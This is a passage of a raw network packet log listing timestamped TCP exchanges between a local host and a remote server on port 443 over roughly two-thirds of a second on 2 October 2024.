Oct 2, 2024 06:10:11.880317926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880337954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880374908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880379915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880407095 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880422115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880595922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880610943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880645037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880650043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880672932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880691051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880904913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880922079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880964041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.880968094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.880990028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.881006002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.881159067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.881174088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.881222010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.881227970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.881263971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.881752014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.942605019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.942631960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.942663908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.942715883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.942719936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.942761898 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.986793995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.986820936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.986948013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.986954927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987001896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.987135887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987152100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987226009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.987231016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987279892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.987828970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987844944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987901926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.987907887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.987945080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988116980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988132954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988169909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988177061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988209009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988253117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988464117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988478899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988531113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988534927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988563061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988574982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988764048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988790035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988837957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.988842010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.988882065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.995435953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.995906115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.995922089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.995979071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.995985031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.996020079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.076786041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.076801062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.076877117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.076884031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.076925993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.077521086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077538967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077589989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.077594995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077630043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.077644110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.077825069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077841997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077903032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.077908993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.077944040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.078481913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078505993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078578949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.078583002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078629017 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.078634977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.078844070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078861952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078907013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.078913927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.078957081 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.079112053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079128027 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079163074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.079166889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079195023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.079214096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.079457045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079473019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079539061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.079543114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.079595089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.085423946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.086505890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.086523056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.086610079 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.086613894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.086656094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.167687893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.167715073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.167768002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.167799950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.167818069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.167844057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.168108940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168124914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168160915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.168165922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168185949 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.168205976 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.168395042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168411970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168454885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.168461084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.168509007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169188976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169207096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169248104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169253111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169281006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169298887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169464111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169478893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169511080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169513941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169543982 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169559956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169769049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169786930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169828892 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169833899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.169858932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.169871092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.170110941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.170128107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.170178890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.170182943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.170228958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.177182913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.177233934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.177261114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.177264929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.177300930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.177320957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.192281961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.258342028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258385897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258457899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.258471966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258511066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.258809090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258824110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258888960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.258894920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.258944988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.259140015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259160995 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259196997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.259201050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259227037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.259241104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.259861946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259879112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259932041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.259938002 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.259979010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260121107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260134935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260176897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260183096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260196924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260224104 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260446072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260462999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260504007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260510921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260534048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260566950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260695934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260710955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260750055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.260755062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.260782957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.263525009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.267842054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.267858982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.267915964 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.267923117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.267966032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.348949909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.348978043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349035978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349077940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349093914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349123001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349450111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349464893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349507093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349512100 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349545956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349564075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349761009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349778891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349811077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349814892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.349838018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.349860907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.350483894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350501060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350565910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.350570917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350610018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.350923061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350939035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350979090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.350982904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.350997925 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.351202011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351223946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351238966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.351243019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351254940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.351294994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.351428032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351442099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351484060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.351488113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.351536036 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.370290041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.370309114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.370352983 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.370364904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.370398045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.370414972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.439671040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.439693928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.439748049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.439759016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.439791918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.439812899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.440355062 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440376997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440428019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.440433025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440489054 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.440660000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440694094 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440712929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.440716982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.440743923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.440758944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441365004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441385984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441415071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441420078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441454887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441468954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441720963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441762924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441775084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441777945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.441802979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.441822052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.442007065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442044973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442063093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.442066908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442091942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.442109108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.442270041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442284107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442329884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.442334890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.442377090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.455236912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.455265999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.455302000 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.455307961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.455341101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.455355883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.530350924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.530374050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.530505896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.530514956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.530561924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531261921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531280041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531330109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531335115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531367064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531393051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531594038 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531610012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531651974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531656981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.531683922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.531702995 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532351017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532373905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532408953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532413960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532444954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532463074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532881021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532896996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532943010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532948017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.532974958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.532994032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.533433914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533448935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533490896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.533494949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533533096 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.533730030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533745050 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533792019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.533797026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.533843994 CEST	49744	443	192.168.2.4	167.114.14.168
